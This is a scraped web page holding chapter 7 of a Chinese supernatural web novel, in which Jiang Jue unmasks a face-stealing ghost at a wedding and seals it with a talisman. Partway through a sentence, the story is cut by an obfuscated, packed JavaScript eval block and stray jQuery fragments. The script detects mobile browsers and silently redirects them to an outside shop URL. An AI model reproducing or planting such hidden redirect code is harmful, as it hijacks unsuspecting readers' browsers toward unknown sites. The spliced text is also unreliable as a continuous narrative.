文趣网 > 其他小说 > 朱砂痣她拒不认账 > 7. 第7章
    “我、我我......”佣人没想到还有宾客当众站出来反驳他,一下子慌了神。

    那位小姐双手叉腰,见状毫不客气地翻了个白眼,她身旁的妇人拉着他也不管用。

    江诀对她道谢:“谢谢小姐为我解围。”

    小姐的盛气凌人的气势瞬间收软,亮晶晶地大眼睛眨呀眨,在江诀的瞩目下捧着脸坐下了。

    解决完这边,再回到争吵中心,被撞倒的正是林女士,她身上的裙子已经湿透了一大半,江诀推开佣人缓步行至她面前。

    随后,在所有人都没反应过来的时候,江诀忽然在林女士跟前半蹲下,微微低头,“美丽的女士,可否给我们一个弥补过错的机会?”

    现场的花瓣已经开始缓缓飘落,些许落在江诀微翘的头顶,正好成了她的陪衬。

    林女士原本愠怒的心情顿时被这幅场景打乱,面色浮起一层薄红,“哎呀。”

    她搭上手,头也不回地跟着江诀走了。

    江诀刚走出几步,万管家匆匆和她交错而过,相视间,万管家郑重地对她点点头。

    .

    更衣室门前,林女士拿着一件件衣服对比:“就这件吧。”

    江诀站至她身后帮她解开衣服上繁杂的系扣,长长的眼睫垂下,没有半点逾越。

    林女士看着她,忽然问道:“你叫什么名字?”

    江诀轻轻抬眼,透过镜子与林女士对上视线,“我叫江诀,女士。”

    “不是佣人吧?”

    “我是端雅阿姨的外甥女。”江诀正好解开最后一颗系扣,“需要您把物品先交给我保管吗?”

    林女士的目光越发柔和,“要的,要是我们家那个也和你一样懂事就好了。”

    江诀眼睫颤动,不动声色的说,“每个人都不一样,连小姐今天同样光彩夺目。”

    “哎,”林女士发出感慨,“你知道我们家天音?这孩子哪都好,就是脾气太燥了,今天说什么都不肯来。”

    江诀笑笑,“可是在门口......”

    话说到一半,江诀倏地闭上嘴,转而用一种更加疑惑且好奇的音调试探:“天音小姐会不会是身体不舒服?”

    林女士嗔怪地说,“你还知道帮她说话,你看看,这是她半个小时前给我发的视频,怕是要玩疯了。”

    林女士点开了播放键,视频里的连天音正在一匹血汗宝马上奔驰,骄阳肆意,成了她眼底的浮光金悦。

    江诀:“天音小姐很开心。”

    林女士感慨,“也就光顾着开心了,不说了,我先进去换衣服。”

    将她送进更衣室后,江诀的神情在一瞬间变了,她记得很清楚,连先生早上分明时挽着连天音进来的。

    无脸鬼......

    恐怕借的就是连天音的脸。

    林女士出来后,江诀将她的随身物品全部整齐的放进一个袋子里,边走边闲聊,“说起来,刚刚好像看见了一个很像连小姐的人。”

    林女士来了兴致,“哦?能和我们家天音长得像的,还真不多见。”

    谈笑间,两人来到了入口处,江诀在场内扫视一圈,精准指向坐在人群中的连天音,“就在那,您看,我是不是说的有几分道理?”

    林女士瞧着江诀指的方向,一个熟悉的卷发女孩正坐在夏惊觉对侧,背影.....还真跟她女儿甚是相似。

    林女士:“呀......”

    她往右侧走了几步,想看清这位女孩的真容,边走边嘀咕,“还真是像。”

    江诀寸步不离的跟在林女士身侧,就在她想再往外面走几步的时候,座椅上的人忽然动了。

    卷发女孩的肩忽然微侧了起来,长长的卷发遮住了她大半张脸,而这张脸,正在以小幅度的转角逐渐面向江诀。

    最初是一只眼睛,高挺的鼻梁,半张脸转过来了,林女士的心都要揪起来了,对面的人明明就是她女儿的脸,可她又感觉无比陌生。

    就在那张脸四分之三侧的时候,卷发女孩的脸上忽然出现了一道细小的裂纹,紧接着裂纹以不可预估的速度迅速蔓延。

    最终“连天音”整个人像破碎的石膏像,毫无征兆的碎了。

    等膏体最后一块膏体落下,江诀终于看见了里面的无脸鬼。

    无脸鬼身材高挑纤细,没了“连天音”这幅躯壳的束缚,霎时增长到了两米长,脸上挂着一副面无表情的面具,直直地面对着江诀。

    江诀试着往左移动一步,无脸鬼就跟着江诀转向。

    这是对她感兴趣上了?

    忽然,舞台正中央的礼炮声轰然炸响,在鲜花和彩带的洗礼中,司仪迈着稳重的步伐上台,婚礼开始了。

    林女士被炮响吓得一激灵,回过头茫然的看向江诀,“发生了什么?我怎么迷迷糊糊的。”

    无脸鬼会轻微的障眼法,当障眼法被戳破的时候,被魇住的人有关这段的记忆会被瞬间抽离,换言之,林女士根本不记得江诀刚刚对她说了什么。

    江诀带着林女士回到了她的座位,“什么都没有发生,您已经换上了最新的裙子,女士。”

    说话间,江诀一只用余光瞄着无脸鬼,两米的身高只需要做出一点动作都会被瞬间发现。

    林女士有些恍惚的回到座位:“噢......”

    就在江诀松开搀扶着林女士的手的时候,无脸鬼终于有了动静,它的躯体忽然向后移动,一边移一边逐渐透明化,眼瞧着就要溶于空气。

    江诀连忙追了上去,刚刚经过无脸鬼时,她分出一点灵力钩在了它的衣角上,现在凭着这点灵力,她成功追着无脸鬼来到了后庄园。

    现在的她也看不见无脸鬼,但是一抹银蓝色的光芒在空中忽闪忽闪,想不注意都难。

    她会的招式不多,甚至还需要启动时间,一个人显然钳制不了无脸鬼。

    无脸鬼似乎被江诀的穷鬼不舍激怒了,一到强劲的风刃从江诀耳边刮过,一道血痕出现在侧脸,碎发也一同被削下。

    江诀后跨几步,眼神一凝,右手猛地崩紧了灵力丝线:“人头!!”

    在野外肆意奔放了两天的人头终于感受到了一股熟悉的味道,一股极其浓烈的香味从灵力传入她鼻尖。

    迟钝的脑子还没反应过来,她整

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913641|213239||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个身子便以飞一般的速度往江诀身边赶。

    于是就在江诀喊出人头的两息间,人头倏地在屋顶上现行。

    “咬它!”江诀喊。

    俗话说:鬼咬鬼,一嘴毛。

    人头生前的死状极为惨烈,又在随着汽车改装加工,不是厉鬼都被逼上了戾气,一口咬在无脸鬼这种只会风刃的鬼上,杀伤力还真不小。

    无脸鬼在刹那间被逼出了原型,惨白的身躯里掺杂着暴戾的红,长手长脚地抡起人头在空中挥舞。

    中间旋成了一个风涡,江诀整个人都要被吹起,这副身体的身体素质太差了,等这件事过去了她一定好好健身。

    一笔一画在空中悬浮,途中因着强风,她好几次画错了方向,好在人头关键时刻也是真能忍,只要江诀不开口,她就绝不松口。

    “太一赦令,九幽听真。缚魂锁魄,收鬼入令!封!”

    最后一个字吐出的瞬间,江诀身体变得轻盈,一股看不见的灵力从符咒中涌现而出,最终归集于无脸鬼的面具上。

    无脸鬼在江诀面前被蓦的收紧,整个人像是被锁链困住了一般,两米多的身高肉眼可见的缩小,人头咬到一半忽然嘴里空了。

    曾经硕大的无脸鬼变成了二十厘米的小纸人,在空气中单薄的站立。

    江诀连忙重新补了一个符咒,一股熟悉的灵力从纸人脖子上圈过,形成了和人头别无二致的项圈。

    无脸鬼没再反抗,但人头还在龇牙咧嘴地对着他,江诀对着人头挥了挥手,人头的牙顿时收了回去,屁颠屁颠地跑到江诀面前。

    “你想要什么奖励?”

    人头不说话,但她的藻发一圈一圈缠上脖颈上的灵力项圈,黢黑的瞳仁不断放大。

    江诀艰难的领会其中的含义:“你想吃?”

    人头猛的点头。

    于是她脖颈的项圈微微软化了一点,人头就着现在的姿势叼起项圈就开始啃。

    等啃完了四分之一,人头也识趣地再次跑出去撒欢。

    至于无脸鬼,它纸片的身躯不知道什么时候长出了一双豆豆眼,正目光灼灼的盯着江诀。

    一回生二回熟,江诀也试探着掰了一点灵力给它,无脸鬼顺从的接住开始抱着啃。

    看它一时半会啃不完的模样,江诀索性将它放入了口袋。

    另一头的婚礼进行的如火如茶,她还想去看看。

    刚才的狂风吹得后庄园乱七八糟,江诀简单整理了一下场地,就在她再一次捡起地上的木棍时,她听见了地面摩擦的脚步声。

    她的动作一顿,直接抱着木棍转身,一头乱七八糟的发丝配合着毫无章法的颜色,无论再看多少遍,江诀都适应不了。

    池予安静静地站在她身后,身上的懒散在这一刻消失了。

    清风吹拂发梢,他额前的碎发也跟着扬了起来,江诀终于看清了自己弟弟的眉眼。

    双眼浮肿的不像话,又红又黑的眼眶同时覆在这张脸上,再俊俏的脸都成了废纸。

    江诀观察他的同时,他也在观察江诀。最终,他微微眯起眼,轻声问,

    “你是谁?”